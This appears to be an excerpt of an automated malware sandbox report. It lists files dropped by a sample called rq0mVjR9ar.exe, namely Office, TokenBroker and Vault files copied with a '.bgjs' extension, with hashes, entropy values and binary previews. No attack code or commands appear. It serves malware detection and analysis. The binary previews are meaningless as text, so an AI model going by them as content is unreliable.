Preview:	<Rule ..kY........R.-.Y.p.Sh......!Y.....n<.j2cV..B.J.. ..2R....`T#.....H2.T/.t0W<n.....p.o76..6........L...~....?_....P.@.lF..T...).t.K&vz}\...Zg...A_J.s,.R....._8.Z+o.`...L..+....7..y.]..).a'm.'o....EE.n......u.........S.]u....B......Yt4e.e..cj;.l<.......'.-Y.........qL...\|{a.V.....;PE.o..i.au.?..4..k......X...p..Q.;...r...g..V..g.W.]....c....0....#.v..B.......n.o..;...}.....K..&N...5.&.AdD.i?D='.S..Dy....u.E.>.@!~.s.=.J).t.eb.8....Q%+m......!OS.....5XI.%s#.%.M.....n.....:..X=E..Z..E.k.N#G.h...8].6e..a....>Y.B<....!.F..a..A..4-.xP...N...f.8.zQ..[d.i.....&)...a..0....u...{4.@.....n?......x.T..k.../Lmo(..zh...xl.u....jES..e-I...c:.....Cs.f.F...0...$.t.......C....}...%Rr.....b.Y&.o.{^..XF .....I..l.h. .......u....?.P_....h.\....Ep.c...,.Nk7.3.ut.[..(.O..V.^o..0.7+U.v....D7.Q.(...n......M...jX-..h....\.R.>;i.<'tMf..Yg...x...%....6s...N+....`..kV.7.{.....1.qUcjh.^.J./p.T3..\|...lr...'.>'....tBZ....#<.ayt...+6./.....q..2..KeY

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.514179268734661
Encrypted:	false
SSDEEP:	3072:z8g3CFZrHYIPKorLAZN81lac7yG2x9t8UkjUS9OoQIzgYESF6:z8emZbbQL8xu4tjUSQLIzgYk
MD5:	AFD05BF05B6CABE7436BC894127E4BAC
SHA1:	D2E8C994286308AA079B49B44A2D3311B10C3137
SHA-256:	69F7491495C9AEA79F8500ADFF519BDC4338A151231F9AB9E84C4B6E8817FA70
SHA-512:	D452A6FC6C5C38BAF7D636F60076F0D8F24A5FE24BF34907F2061B60F1D32829D123C1F748E3A41477F257196E9484B5B43358DA192F213928BE93FBCA52B221
Malicious:	false
Preview:	<Rulei.76Z.....ko.>..K(... ..7wPY.S\|Cf..O.b.s.+)!..K..?N.5A....`%'V......TA.U"..>=].&N.'{.U3D.......> ....Nn".y.N..8X...N..e@.km!g.....bo...D.k.X.q.u'.._-07.s.6..B...(.{.........P..g.U.sto..WW.yY.<.W..N.G.9WP.5........ ..M{.}@.J.h....._....g^..nV...c.t5..tq".'.j.=..]@...Y..Z.%m:.%S(=-...\G..:..d.......h.4.,D..}...!:3O.3`K..v.."..E.f0y...\...{8l.?.\|......\....L.j.6...< ..........LY....e;.C....w.5.Q..\V.uTZ.4....."...>........:.....#.....P.xc...S.....?...B...^c...O.iuW.Td..% .k..TxR.?.%O.x..)..../.j....l...z....{.......R.T....n}....62.f..,.5...0J....7.`...D+K-v...ii...H%.Gy...._....vT&e...H..>.C...p...D.J...y..Jt.._.l.4......i.............p....]...#.ai...W..../.P..W).n..d.D.pv9.r.......2.Y.}..Iv...A...VZ4.;.7#_$8L....y...<k..t~..$..1T..4ny..s.`.e.G....!...."...n/.%..x...o`......3 .U1.\...K......'FgT.....1/..F..m.so.....S@)....W.n..g.6E.DQ.H..Wt(}.u.c:....U.b..X=e...X.kG....\|5....I....]2.e./.F...n..^.....Kn..f......2w`.......WS.}.r..%m...M.x(<

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.793773345913258
Encrypted:	false
SSDEEP:	24:I3DjYzIVKUyIxY5dIysHsjFNrHl5S2vyZQ7LiTkbD:ITE0oaysYrrHl5bCQSiD
MD5:	78680D8C5A3C49E34C4A2E750636DD6F
SHA1:	11BE5B8569E582F20A7AC9E7BA52F00FF60B4E43
SHA-256:	BC152BBD330839B08E670D7A3AE2DD5FB6565325E92E2AD3EE8D92E88283AB34
SHA-512:	16127E85EBFF3D2050AB89C533B8C10FC58F9AF8FB3AA68629B3DA2DC91D37BD0691D5B234AEC10E43CEC9A2177258AD89C894E2B4303D92ECA9CF09E3042B33
Malicious:	false
Preview:	3.7.4..-..!i...r...H..)...rP.m"8. .........i... .E.RSN.r...O..F,@`....122..].V..........9/r..5..O.{.2k.c....d.....3...k...w.(...=.&. .Q.".q...-R.Nq..#.Z.Dg..Q...J..:...{...,.....\.U......R..3#.^...'....]]So...&..&....P.)...1.....c.DS.~K.y...E.J?@.J,..m...2..j_W...63..y:q......k&u..GRC...2.>.....6.$O.T..e.d.8.j.'..Ja...._..@....m..."-;.1..p.2.$:..P.?.7j.M...Q".r.+....%.gm_...'...6...H..CZ..o..cQ.q^....yRG...]..{...&kk .c.Uo,.>y.L.L.:.yg.....7.......x..t....!dYnj.\B..y....W.lG.e.>.".\-m...Kvjc...it.#.i.w.....jY....4.....0%.`v.I.3y+'8.........?.p.U.G..z...\|..A.K+#-[x.x.N'.BPA.e..a...a.....N.Q....]s]&2..m..$....O.!g9r.uM....M.$.r7j....C......&^#..[8$..#w.......... .,.L.ug.k7..fB...".4.P7..jc&Y.$....T7...<#....".e!.>g-.!\kq.#>#O....WN.&j.....e..;....-4#4q.ns.........a.!x.....dJ.....[& `..["F.'O.o....x]...~.`..t..I.........C..J........]y..p....j!.[..TK.h..P..#...&.l:..)*...B_.....8..m..!;+......4..cg(.x.ND%.~..,..t...5.\zVa......./.R..j.....B

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99160651833988
Encrypted:	true
SSDEEP:	384:YgOegP/AyztIYZVVCaR/Gft6rAMSXoFv778akXRavIDeDuvTW3+mBP9wA:HgP/bzLgalGV6oo5UayRXDeDEq3wA
MD5:	4D06D6DBC8EE567BB5DD6B6A2C3D83E8
SHA1:	1B3A8B82399D029B53546D12AA265DBC2D58DD42
SHA-256:	BB4C48202C51C9C489557A8D51BBA81CD6E7FAACC2E5C73F987369D4BD3DA5DD
SHA-512:	1DB17C344763D9917DCB3F963C6212A41D191CE90CFAA694C735BDA3C4DEB52D5F1242210CFA4AF216F61F76C9C95933474AC56C448CFEFD5F4C2AA2A0ED40EA
Malicious:	true
Preview:	SQLit.....f.tw...{....a..d....-Q.3..\n.f..Yx...[...3.D?R.O.gO..ZR,.D\..........E9.!...k...uL^.+.Y...,.4.k...A..N.$.......rU..Q.... .....#.. .......w.u.0..q.\..6...f...h....lM...35.~\|.Qd2..P...P\...tKtc.. ...XR5.3...v.&.$q..+^...x.6P.+Sis...h...]/..{FHDR..vj.Wg.$...iX......k.7$ ..%..{..L(#t..z....b..l.~..'..s...'.y..Xpf.>.w....b..'..:.y...J.m.f... _...M1Z..W?.......$..!......W...Z.).......%.....z(...5......(..F&..\cpv..S..W..V..'.d.BQ. .C..v>..,..c...9\.Zl7...ce...<...3..Y..si..F.o..0u.}.j...v9-F.K.w.R.Ea.u?....>X.. .{....... .;........m...].....o$.j.F.k..."<.*.....J.60....!.P._.%y.,..,N...=4ze.(..ud...`E..;.X....!...r..U.;\..%.b!A....B4.1..T<.R=.S........2...E.a..\|..y......:9....8.V......8.4Z.<.l.w...j^.}p.1..q.k........g....A..UjPK..U.;]...#...+.2.."........J.Mh. ;............n..e._."..L!.'...S.E.[..YHn6hw..........E.....:.Cs..v.G.@..R....1..x...r>..2.".2..;.$3D.y.N)u...Z..]}.....b.._..r...y#q..k.IO6WK9keE]../...V...(R...".&.....!,=..I3}@~

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9935163287660185
Encrypted:	true
SSDEEP:	768:QGpRhLMeyMt7yDof1VzWWQrVabZUXuzFty:QejQeyMM0V6rAbw4c
MD5:	F3E95847EC259E4773EEAE8A91E9FC27
SHA1:	32F79EAEB38919C947086B890499459695A3B49B
SHA-256:	10604AACA925759CCDCF5CEAC1DDFAC376643346E3B20B462C14C842B4567DBE
SHA-512:	848CBA5FC5AD06C159FCE791F6FF5014F3D543856351F402326866DE0882CC284A6D83C325CA6D1BFB4D4FEB9102087D26AA377D19D5B3E89E1168957D9093C9
Malicious:	true
Preview:	SQLit2sU.{..n.Pptwq..0...........A...........0.I.tv.........K.%b..S..>.K.E. .C...g...9.W3#y.4...:.c.<.T..Z!(/z.3.y..#R.LCnk.%kl..O.B3....H..G.A..`....=8Y..k..K@".c..%8i.S`,.#........0........Y......Lw..\|.c@l.%...........1J..0...E.;S.4z...2....Q.v0.fM.u17.2....taQ.J.Od.I.@{.%..\|.%..FC..f.....9..]Yr.$0&.....Wh.C......zk'...c.,....=..<^...`^5J.....#..C...i.4....v..h....t..D.~D.....b@..uM.].,.A..N..E}.....8Q[.p.j..b.!d.2)...^..yC.q...C..@.O..2.......P9R..F...[...Q.Su...O;.jaT..5X.O...9.)..V..p..z.+....".......W.....D.Y.q..Y....R..(.3.J.....C..I....;...@.p..(o/l.S.#8H....L...G....La...i.6\.D...E.I..u8R8'K'....YMk.XH..=8...@a..........l..H.~......p......gb.....@.s`.A.l...#-Z..?...I...U]{...V.[4.$....,\C?.1p....q..BA.1.nkV......h..Ix~.o.q.......V..Z.zC.....c.@P...'.....Mj..%g.B...].Y..Z4So..I1....^.P...W..D.b5./.73..x2dq..G..\!.b4.G{..H8..<c%5D..^..../-....:B.ceM..4....jT,.huK..J/q..S..A...!w.....L.....=T...q..?.....XB.G#k........

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992793759849605
Encrypted:	true
SSDEEP:	768:if8izh12R0Rwp3H9+CJP+0k09/Kkr0eXH3i:G3D2nhUU+0k09iY33i
MD5:	10B6E3974618C8B2F1F71541FC029BD7
SHA1:	1278651772F98E5AF2185C8F165C43FFAE2F00B4
SHA-256:	136387A10E7CCD8CCD52078173244E562F32F03BCFEB55C811C56B232E194F7B
SHA-512:	305DDFA7DE810B2FFCF637D703736C40AFBF572D0C0F259068F11A3C29F19076561D075B995F144CD8A21E9B811988AB2BFFE73A4A26C60A06CF800569240281
Malicious:	true
Preview:	SQLit.Z7...i....A.d.{.~..2...o3...?.~&...Sg..[.a.J.we.4.....:.5........lm...D:x..b....F.i+....O.z.f...@.......v..zU.a....i.N{.F..Z.!.A......K....A.....O<w\.k.]......jq..<zK$.;V5...3......X`...g.>...mfz...d0..8.$..$.u~X}...,.s6E.B...b.WH......B.l.\':9.....k...$.T...<..z.w!t..J..1..t.+.AK.....H........k../....j.Gd......;s...j.u..9.a3..x~...'.....>.#.=.M.w.....7~`O.+5.Ey.......+..;.[..?;A..(..=RK.P<..a...;...l[.. .;.^..D.....N.....a..9......1.AK.-.4.._.kN.\E4.%x.Zw....y..ui......nl."?a#.M.e..V+?Ve...D\....T-u`.9`*..:..t2...^...w..jIXS.Q....E.....p.......n.;.&.F.T.e.....(.Q.........q<.c..ck.......j.SP.%....pJw\.~.....@?....&........r{...I.G.mS....e..7......vH.,)6hm..\.G...>.......S...x.+.+X......r..Og........_.I..=.....\." 8.{.X{..>J.@..K_.}T....N.......fNx...1.\|.l.jbN#....).....X..... ...._U,...q....V..)....=.g...Jt..F.T.VU.b...kt.'..$.[...V........Ox.Y.y.._.M..s...%....=..$...%'....808...rB...-.)...p.{..@;;..m..XH.t.bl....=.XP(.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992531154984266
Encrypted:	true
SSDEEP:	384:GnU64ZDmZrb6W07PYKRxslOgjzVO6RL3cCW3nMRqct/BgdXjg37:eE4b6J7h6lOGzVy3nMRqk6dXm7
MD5:	7A31707E7640328BA921FFEF937FE934
SHA1:	159BAD3BDE25AD670E59A100F5B8B2D0E3CDB548
SHA-256:	FB806FDF2547B80AF275AB2C83844B2D389AAB6F00046AEB9F363A32AB2C9CB4
SHA-512:	5315E01F444B943FFD2CA3E1BEBB168A41BDD5BE3DC39370B1208C47B07A6164D4A32AA269BA295EE66EE1E6EEFC0C8CCC3120D2C20D294DDE226567BFCE6160
Malicious:	true
Preview:	SQLit...T..c.7..}....Zf.h.q7....4.5....:....-0..2{{%....K..h..t...Z@J...`..9.(......cd.=..P....eXY..;...y....S.."S.4.dhm.:....D.jK^U..;.o;.H...O...+..aY..".E.2..mH^..i1.p........ol.... ..........Q...cB.I...M-G...`..."...;{.E"...bP...w.I........._..X....\.v.H....A....%.Vi.m.....:De....x.z...ux26TO..$^f.f..pp.Y...g....Q.a...Fg~....u.....T./.g.XH.4(.8j. &e.....^..=u..(.=...$...9..p.4.Q...h.UCb..M...>....l.<o..f.YM.&cO..:.....i.....S......=...)A.}..M.X.>..P",^..s.F.AP.}...v3....G.9.l.b.X.$..P.E.?...{.#g..1.g..1.[...M/O.s4@l.f..W9=....m..fh....]fhK.!X..g.....IaTI..K._.u...@,..B}.....e.......#S.1D.r.\|.....Aoa5.:Y...5.F.+dd.P.rf...w... ...pyj..,.....b..G....-R....... .._...a....&'....l8D..G.Jy.aG......p..Z..$ml....#K./..T..d.....+.....f.i.@..=#..J...~..<.._.2~......r....a..eCq.Z......b.f.......q..<"R.^..o\|.$%...ix:....h.F....Y.,\....n@.D N....`yP.?{.8.u....p.D....X...ZO...G..5....t...}Y.H.J.=."...):..9z.b..d.#..h.B.~6.a.z

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.941004624356941
Encrypted:	false
SSDEEP:	48:JQkqzn7+sM8IgQxFRgtuobMZBpguEVLDlX/DXaBuWorkIOyMT1/X0iD:JQk+y5hxAFMnplEVZaBuEwcz
MD5:	97B77EA77CDFA59FD0CCED11DA68DBAA
SHA1:	CE1EDB6AF27BC73898280E8CB97214393A1CDAF7
SHA-256:	7EF93F09CBA63A82029AFCD31C029888830F4DA5114630C21DBDBFCCCC7282B6
SHA-512:	1F68EEF6FAB1689ACE759F71DF375B08D7BA75AC0DD947928C164A990AC1F2CCA91DDA0AD3D8121AF61EEC90E6931D9A326BE79A6431DFF0149E07B9384A87F6
Malicious:	false
Preview:	{.".T.Y8.$......,r...,O.......A.d..r>}.}..@^..$......k.....q.....G.A.k........!T..k..~>.D...3.,0..D.Nw..&.......O^^.j(..../... ..2....$.\|.........p.S._....=4....`s.....8..@.Bf...d.r{,o7.t.....\|Trvh.+,...Yl...).....c.L..;.{....wk.5.^"6.W...y..bT..=`....Ug..5.x'y.....Q,... .._.n]V3.T}.::7..(..c.z..1mxG]....d...0;./...P..&....q...+.f.x...@.....#...H.s.i..F..Z0.U^.g..w.l.md.I....H..}....u,N.I.h%'.~...8H...54.....9G.1....JN.%.De_..?.X.X......"1...9.0......~H#I.V..qj......V(1....(..9.....tN....%5........8../I.`...z..2l..O.k...^...)r.#..E.....1.`<xG..t...+Y..onB.Kj@lR3.@..{.kX.. .L..5LB2.....4..s0....IW.\|.x...Xd..?.......w.2.U....Y..w......r..... ..$d...G=...q.z.<..F...#.8...R......J.3ruT.....2.......:Y8..?.vmh^o.BsCv....u$-.....#.h...M)i6..&Rb..j.....S...N.b=.f'h..[..~.i.B.gG).u.....^..y.snb.W..n.Mp........[.M.....{.jYst..[FTmK..J.0h.Xd....f.2...^a....L.o.2"}..".....`.(^.E........ .M.,0.Lz..>./M..Z...L..`...k(..H.?U..Evx...w..k.w.....z..W..L....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9174390949142825
Encrypted:	false
SSDEEP:	48:/9Rz5UlvNt8Lri/I9/FNyyjiCk7sI/1n4VUdMU0Al/6t05VKlHbVNGEPLm6lvVvG:1R/6wcyeCRWnoUd1l0IVKl7VH66lYl3T
MD5:	F270CE1C4E180B1A835BA05D370F83D4
SHA1:	7B34333BB15FB6658F0A480F6F6D3013C752F191
SHA-256:	02CE463BF96175B62FF6B5A3D2CF19C1796BC0D48929E03E991928EAAF7104DD
SHA-512:	76821ECD676D10B8197ED2FF797567F183F79202683A3B4176027E456D0C31853E83B9D3B564ADBDEB269EE1746CE1E832583FD2CE400EA9EDE892C30F0BFCF8
Malicious:	false
Preview:	{.".TUB['..m..............=..=1}md....+m...7..9..j-...[.z........S.........mEN/....#.J.......w.t..".T]Nxp0.e. $./x\|[.......4L.]9.Pzv.5dE.N........r-..:.........~"b...r...+........M..[..x.i&Cg..`[.7..PP\..p../N..a(...,...w.,..g..83..>.!..;....mOb6k..........s.e.^\.4{k.-.4....M..0y......2]...j9..U0........\?.K.7....+k .a.6.X.l.9..d.....c3....$.8!.o\c.^..#]..]O..q.t....v....B..FKN...q.i....w7.?..7.S..L...;.`...:.....U...L.xA.J47.o@.w?g......KP.....T..u..&....o.`.0.a.....).d.7..l."5X0.o.\|7j...:]......z..Pg....l...2Fw....Bwf...1.....l..t.....}.T...j..... ....T..{.$...}.....^[.....\..[...Dj.c..........Z7wTa.<!..r.[=. ..r...'c.6.(d.GW..Y...9........C.......l-N@..a..s.d....).)>./Z."a..tf..1.%..'.24.E...7."ws.I....}Z.i.C..wpi.\\|.. %.z..sI.....{.(.bEB.P.PH.1i.zmM...?Y*.H..!...7............1i.....i0.."n.E..W...\...Tj'0&..........x.....4#...T=W/W.....dt.=...,.Wuyd77.z.k7.M..qW.&....O-4....J...8}U+.w._.'....@.t..xa1.H}......xEB..}`[D2.3...R.....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.938981403248341
Encrypted:	false
SSDEEP:	48:yh6fTjA+d4NfQu/2ByhiezmTL4SwKxzfyeq+zIJ1qwLMD666di9RvJbbxRiD:yOvA+KNfQuieyTL7wKgeLIBiZhQ
MD5:	66607CE2601F2377688A1DAD7C61B678
SHA1:	7971BF0B5E4A4DB8D06F16C66D4ED360B92F6DD1
SHA-256:	CA3E80946911A7243A8E0808430B56DEC1CA5EC64D8B9BEE5E895F8E6511C511
SHA-512:	9C8535594B0047E622BF1FDA30E646C92594295207409025FFC366161D9DD9C73FFB0C9CC537ABF724420A3C8845A3B9E8DF672B982609E6A1E72055336CE8C3
Malicious:	false
Preview:	{.".T-\|..h."q..H@\|U...#......~4....be.} .gI..e.9.J.h..]j.c...!S_.L..aL..v0u_.....P..%E.>.]{..T..........}.!\|..,.w.5%+ .Z..&.....n..x...g.V.w. ....ti.Zwc.....@...Z.3..k..v.[..Y...(<._3SqZ.1.:d.RF4...2.m.Q.2.%..YI...{.[\R....`.G+....Oo.0.Y.l....$K.1.>.7.;.\...H../E....j\|.~.Jj.7.P.,..N{....l.ws.d(.hE.O..^2=YU.hL.c...c..R%9.m-.f..U..X.....z.f.-Fd..m.k.4(-.h......x.X..C..u.h..V.9.<...."..]`w]y...E+...........c......04.w0.....\|...`.0r..^@..?;.a.X.1..!../6.b.8.!]cr..o.PNX..u..8..o.ggr..!d1X...h..mY...#9lA..d.;c ..Uk....v.Y..2.m%B.q..l.......K..h.#&s..?\|.......l.NJG...N._B?..w...e.C...h.."......-n...%.<Q+m.Q...U..#...b.Z.,s...V9.'J..u..<V.5=(.lY?...^IxRG\|..YOR....H.r........J0.>...9C..#..Rm.~...].(qwx.{....<.=.I:....Y......".N.8.gE..h....ai..7!w.4/H0...;...i.<.DP.....N.K.......Zo$..}...Mr\|.8...k..}.M..EW.w..f"F..0l... ..kr.....@...b.Q.c....,....HK..4n...#.'\0.v.{.%:..o....0pK....>.?.g(${..6...\|.=..C.t5..{M...#...q8.9...Sp..G.6.^IY.U..o..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.908845928744514
Encrypted:	false
SSDEEP:	48:bGySFFH0un3yrSrbo5nxAsVdLl4hnmDPpDmFQsbZ19zpnn5OrbjiD:bDS3H0u3y2GxAi4UDdslzpn8W
MD5:	6261CA8781F4C462DAF4BB58E45CF293
SHA1:	859F4FBBB0EB3DF5268786F214DCE21DFFF900D8
SHA-256:	BEAB580EFD9A0A8A8D1447D1D3137BE330E95DF23A826E3A3F904D6DBB63496C
SHA-512:	9DF8CA40D055986DAC75A4EB470342559B12BD9E5D167657BE77A3F0BC4862494CB10D9C310EB6D5BBB40B121415EB1F359A3B2879CBF36A7C09CF67CAD2BC61
Malicious:	false
Preview:	{.".T....%e.f....u.I..x.,iy]M....=.0..Y.k\0.x..[.......+. 6.. ..\|..{g..L>.....F..".........4.p...=.Z....yj...vG2k.4i..I_qd...{#vN.2.....f...(x@..B...U.>!&.8.....m~..9..b&%..m..J.......I]wp....Y.`i=<o...L@D.R.....B..FYO..K.'..~....B.....[..K)hK..Wx....T...R.d.xs.fmx.4......;.....i.,.V.U.Z[q\|..H.{Al.....\|.....2:.....i..X..Ob$Q..Q...]f....+..H........6.;T..A.n..l5B.....q.....g..,..6.@`feY.q2....{&.R........U..h..f.....bF...h,..M..M4..W..}.....8$.....a-4.X.Qr.N!......!.'eo.m.....Wi..n..Knc6x.=i.....fgl.m...8N.6.'$.+.G~..F..Q.3..!..r...1...{..)...Q..).V.....B.... x..i....;\|...vi!6.3%..W..m.G.Y......(AZ...w.......].f>K........(V!..^....L...`'.,~.5..3.?.I.M..Uj...j....XN.MZW..S............;....#.6....I`.f&..C.......s.n.`>..h..NI..A..4M....pG.;....5......u=...,T.k...x....w..u.q....&a{{z..Xg...o.B.lp..}g...zX.E;i..Q..t..=Yi.k.J0..y....TZ..?.....G...{Q..d-./.O..l.......p...Z.Dch.g....,L...e ...;.N=+....J..l...6...K.p.T.f....=...:.....j..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.962289940973186
Encrypted:	false
SSDEEP:	96:+G9GUBDcIZhqZ8Qq/ahynhZNvoIvMnYAdi2FwDG8FPT5LRDd:NBhQJCNvoIEYAQsbU79Bd
MD5:	A8F2D73D1FF8F9A893FE59E285A46877
SHA1:	A68E224D10BBDDFD3F166A9F33DDA15EC0544A56
SHA-256:	7B4F6202C0B54A3BB3AE438FF0D1660F81060C561A0FFB8BD2FBAD3188778DB3
SHA-512:	2F83D89D41F9CF144325CA4F91BC4C23D66967EE4401F5A9BBE1E35CAE8D202871D90D6C0EAE1F77BA6891399FC10FF320586899BA42C60BD50ABD89B3EC44E6
Malicious:	false
Preview:	{.".Tp...]..\..I........F.E...[3....`w..L..8YqiX..P..m..".&n2...~.......<#...^........iW...:..K...4D.7....{Q...G..X.#.?....0...Hv.o.`.;..u.v!..9(.@%V....1.F.m8....k...B.Xe_..Yb.W.Q.qR.....IC.T.<~...{..jI..x.Iz;..hO,...P.go..Z. 8Sj1.G.T."4..#....l.....H$}.....q.#Ydz.X...$...).....h61.....4....\|E..b~,8.......b.."..G..jh...V....#V.{.O.q..r.8.7A.;V....H.KM.7q.8...Q..i..>....=.z.:...D..~...x.....r2...)I.....n..kl..:.j.\|\|....f2fL...u].&.`mB_..w....E.Y...ZP..i4#...M$..)...}c.%^T.t.q.."r.......r..vW.....$.$~SQ....11,V..r._...s.^.D....`a....e8.\..e.:....O..\|.&U......^.cK.,?.m...M..r.K.D..i.YZ.P.....wYg"+.jI.G...{.X./........O.m...\..]Z...wc.;W....\|V...yR,....K..... ..l.....K.B..`.F........R.p........F........7..a.........o.0.+._..D"'.....y...7..]:.....Ej..e..j..b..L.....3.......sg..f/.....ri....D.k'./OO..a0.......{....4"'.;...\|....D[..#..J._v..;.....4)w...f.P.K...?......z.....>.........f3.H..C...u.K...eQI.k.xV.y..ykK....3....#F...3..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.938705905554091
Encrypted:	false
SSDEEP:	48:shQisFst4qX8oaM4PjfT/zoMIvHXy2ViPVQPkr0nvIKIRFVblWwrkuT2Eaj1tL1V:IQ/Fmv4rfTkMECPnLKIRLowdqEahtJcI
MD5:	1CB45064CE804390284C8F43BB91E2C5
SHA1:	50626157DC238E525FB0F92E2FAED8639C515EDF
SHA-256:	A26DAF98D184964823ED6DEAF1038F86F3DAE7875310FA9938A267F55B068EF2
SHA-512:	8E118996580F9A3C4A1967FE4216EF090E395BF630B0F2C3C2C8F9AE820F03F0B703826BB217570C319210B597F6931BE370B86EC210EF08B4E94B3885FE6D7F
Malicious:	false
Preview:	{.".T.....}$j.....O..?...T.............r..ld....x..7.P....J...5.UgF..[L...0J}..oI...U....G..P...X..l.V.R....A...vb...E.w.CN........i.6.fByg.LN........Ko.S].]"_j.L{....=..\..NG.........[..<...apI(.....i.i`...W5.xiT;..F.......J.] H...vN...P.Xs..3....mP.^.Q.w..W.'...&IV....[.%(.X_.\.S....0J..Ax...U.>.\c..Y.`...Y$.R...`......K.....i.oC.p.7T.0....\|:....HW]..K....4.+..9.B..P.;%.&..M......9Y.f.!<e..0".q.....>4.TP..L..uI..;.l-......\.yL.....+ S.[H..G....k...9).......`.@.Op..Sr...Uo...qe.....}I.. .+/v.r..8..3#K....[......Gb..S.I.x...q..R`...k.~.._...n#..s..s.X.......t....qNJ.+9E~,.x&.J.Y...(.....:..:.=(9i7..J}........_....9..5o.B....[..4.\|(..J(.U...-....Dn.gPDY;...A.Sv.t.=..:X..t. .,..W.....a..!.@..ZS...O.l./..Y..bu...b.....U...Q.....y.\zI....x....[..d.Kuvdd$...N.C.O.s..Sb.>...zC....Ox94...,.Pp.../.g.K......@."..`..m&.(..F.].T...E..?.Jx\.q......Oy.+..e.L.u.y..6../....&...Ta.r.y...>.%9....i......i..}..$..!...?.g\..Z....T..=kwL..w3..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929055509474359
Encrypted:	false
SSDEEP:	48:jLd2oDZGVjPYjQ0iV5MOPiLe7+8GrFMWmqY93fqr2C8/sk2vCuCX8xQiD:jLda1JVSOKw+8k6DPZCAsV9COv
MD5:	4FB449331F750A3BBB2B5F5001BF9C4B
SHA1:	36895CCCC3988A331F85A2722F6CD1312FD3D7E5
SHA-256:	38FA1F7CD9BAFE735262CC9E62E6A6EBBDF939469A6E05EEB378368F38B13F19
SHA-512:	24087B61E2C32F97E63AD652E01DC7F7CAEF614669CAC91CC3AD97A85BBEB15C79B19EF7BA19B4FD7208724D0E52E007593F6E4AE133F4418B2F7DEA514B59E1
Malicious:	false
Preview:	{.".T..<...7(.[m...8I....`..V.PuA..T..WyZ...3.....k.d.O...<....Z..'.....Z.....X..Y%.%.luF.{H.^...M.z5.=."FG.a..!'......f....L.u..6..Pf"...7..`.....:..l..d.gB.S...W9...i..J25V..L._~.m}.p.&N.g`..........#;.._.h.SP#.........^g....../.k.!Ln....Z.g..........\...9I#..0...Y..8$.........Vp..j\........n..G...5..Y.}S..=Sz....\O.b.&..Pt..".-.z.....=...K.........6...w..@_.x..........N...WOv?)0...s..,..;syw}.t..>...{.6.q.'.H.oA.O<...R.0d.k.. b=+..\|4..<.t.QM.o!.JN6.X...Q.H.).\.Sx...}.2+..3.Ir...~.QpG........M...^.B.5]m...ZI....._..'.>rpK<U.....m.GG. .......?..Q...............~.....x.4c......5..I..E$3......#jQS..`..V..#..-jM...&...v.......%..-...c(@...Gm......}+.3MJX....T.F...%..~B.$.>..>.h..a...K.:3.xk.!......+..f..N.o);..\-..".,.(uj'.[..[....fd.........t...LD$.....D.K\|...o.t...a.6..U..n...kC.....>.SUR.]C.!...!...l......"/-.:..X......=.o....8...+ a.. .7C....f...+.....lu...3...x....b.Tg....Ao..#...mB6+.5aOd..f.}W.Dt.<.....h\|....U...

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.707422233807652
Encrypted:	false
